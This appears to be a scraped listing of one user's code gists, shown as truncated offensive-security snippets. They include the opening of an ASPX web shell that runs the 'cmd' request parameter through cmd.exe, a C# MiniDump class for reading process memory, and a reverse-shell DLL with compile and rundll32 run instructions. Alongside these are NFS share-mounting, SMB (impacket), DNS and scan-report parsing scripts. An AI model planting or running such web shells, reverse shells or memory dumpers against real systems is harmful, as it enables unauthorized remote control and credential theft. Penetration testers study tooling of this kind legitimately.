FrankSpierings

<%-- <%@ Page Language="C#" Debug="true" Trace="false" %>  --%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
    void Page_Load(object sender, EventArgs e)
    {
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + Request["cmd"];
        psi.RedirectStandardOutput = true;

FrankSpierings

import socket
import threading
import socketserver
import time
from dnslib import *
import struct
import netifaces
import logging
import logging.config
import json

FrankSpierings

$code = @"
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

public class MiniDump
{
    // PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ

FrankSpierings

url = "";
var xhr = new XMLHttpRequest();

xhr.open("get", url, false);
xhr.send();
xhr.response

FrankSpierings

#!/bin/sh

MOUNTDIR="/tmp/mount"
for TARGETHOST in nfs001.localdomain nfs002.localdomain nfs003.localdomain
do
	for MOUNTPOINT in $(showmount -e $TARGETHOST | cut -d ' ' -f1 | tail -n +2)
	do
		DIRNAME=${TARGETHOST}${MOUNTPOINT}
		DSTDIR=${MOUNTDIR}/${DIRNAME}
		mkdir -p "${MOUNTDIR}/${DIRNAME}"

FrankSpierings

import logging
import string
import os
import requests
import re
from impacket.smbconnection import *

log = logging.getLogger()
logging.basicConfig(format='%(levelname)s: %(asctime)s - %(name)s - %(process)s - %(message)s',
                    level=logging.INFO, datefmt='%I:%M:%S')

FrankSpierings

from lxml import etree

filename = ''

xml = etree.parse(filename)

output = []
for reporthost in xml.xpath('//ReportHost'):	
	name = reporthost.attrib['name']
	out = {'name' : name, 'ports': []}

FrankSpierings

import re
import os
import time


filename = 'test.exe'
new_filename = '{0}.backup.{1}'.format(filename, int(time.time()))

pattern = b'GCC: .*?\x00'

FrankSpierings

/*
Compile:
	docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 && i686-w64-mingw32-gcc -O3 -s shell-dll.c -lws2_32 -shared -o shell.dll"
Run:
	rundll32 shell.dll,main 127.0.0.1 4444 cmd.exe
*/
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

FrankSpierings

VM Setup

• Virtualbox
• 3x Alpine 3.9 Virtual Machine

Network

VirtualBox

• Tools - Network